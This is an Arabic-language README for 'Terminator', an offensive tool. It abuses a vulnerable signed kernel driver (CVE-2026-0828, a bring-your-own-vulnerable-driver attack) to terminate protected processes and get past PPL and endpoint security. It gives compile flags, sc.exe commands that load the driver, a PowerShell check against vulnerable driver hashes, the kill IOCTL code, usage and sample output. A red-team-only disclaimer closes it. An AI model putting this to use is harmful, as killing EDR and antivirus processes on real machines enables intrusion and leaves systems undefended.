
أداة قتل عمليات في وضع النواة تستغل CVE-2026-0828 (BYOVD) لإنهاء العمليات المحمية عبر سائق موقّع ضعيف، متجاوزةً PPL وأمن نقاط النهاية.
أداة إنهاء عمليات في وضع النواة تستغل برنامج تشغيل ضعيف (CVE-2026-0828) لقتل العمليات المحمية من وضع المستخدم.
يتطلب MinGW-w64 (GCC) على Windows. قم بالتجميع باستخدام:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
تحليل العلامات:
| العلامة | الغرض |
|---|---|
--% | رمز إيقاف التحليل في PowerShell (يمرر الوسائط حرفيًا إلى g++) |
-Oz | تحسين لأصغر حجم |
-ffunction-sections / -fdata-sections | وضع كل دالة/بيانات في قسم منفصل |
-static / -static-libgcc / -static-libstdc++ | ربط ثابت (بدون اعتماديات DLL وقت التشغيل) |
-Wl,--gc-sections | الرابط يجمع الأقسام غير المستخدمة (Garbage Collection) |
-W | تفعيل التحذيرات |
الناتج: terminator.exe مستقل (بحجم ~20-30 كيلوبايت بعد التجريد).
يعرض هذا المشروع استغلال برنامج تشغيل نواة ضعيف (STProcessMonitorDriver) يكشف معالج IOCTL_KILL_PROCESS غير مُتحقق منه، مما يسمح بإنهاء عمليات عشوائية بغض النظر عن الامتيازات أو آليات الحماية (PPL، علامات EPROCESS، إلخ).
| المكوّن | الغرض |
|---|---|
terminator.cpp | عميل وضع المستخدم الذي يعدد العمليات ويرسل أوامر IOCTL للإنهاء |
terminator.hpp | واجهة الفئة لتعداد العمليات وإنهائها |
ProcessMonitorDriver.sys | برنامج تشغيل النواة الضعيف (خارجي، غير مضمّن) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) مع مخزن PID بحجم 8 بايتحمّل برنامج التشغيل الضعيف (يتطلب صلاحيات المسؤول):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
إذا كانت نسخة ضعيفة من ProcessMonitorDriver.sys مثبتة بالفعل وتعمل كخدمة (مثلًا من تطبيق شرعي)، يمكن لـ Terminator الاتصال مباشرة دون تحميل برنامج تشغيل جديد.
تحقق مما إذا كانت الخدمة موجودة وتعمل:
sc.exe query STProcessMonitor
تحقق من أن إصدار برنامج التشغيل ضعيف (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
إذا كانت الخدمة موجودة وحالتها RUNNING بإصدار ضعيف، فتجاوز خطوات تحميل برنامج التشغيل وشغّل Terminator مباشرة.
| الإصدار | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
قد تتأثر إصدارات أخرى؛ تحقق من معالج IOCTL الخاص ببرنامج التشغيل قبل الاستخدام.
terminator.exe -proc <process_name1> [process_name2] ...
مثال:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
الثغرة: برنامج التشغيل STProcessMonitorDriver يسجّل معالج IOCTL (0xB822200C) يقوم بـ:
PsLookupProcessByProcessId → ZwTerminateProcess مباشرةSYSTEM)، متجاوزًا جميع قوائم ACL في وضع المستخدمالأثر: يمكن لأي مستخدم غير مسؤول لديه وصول إلى برنامج التشغيل إنهاء:
SeDebugPrivilegeالسبب الجذري: عدم وجود تحقق ObReferenceObjectByHandle، ولا SeSinglePrivilegeCheck(SeDebugPrivilege)، ولا فحوصات وصول لكائن العملية.
هذه الأداة مخصصة لأبحاث الأمن المصرح بها وتمارين الفريق الأحمر فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. تأكد من حصولك على إذن كتابي قبل النشر في أي بيئة.
برنامج التشغيل الضعيف (
ProcessMonitorDriver.sys) معيب عمدًا لأغراض العرض التوضيحي ويجب أبدًا نشره في بيئة الإنتاج.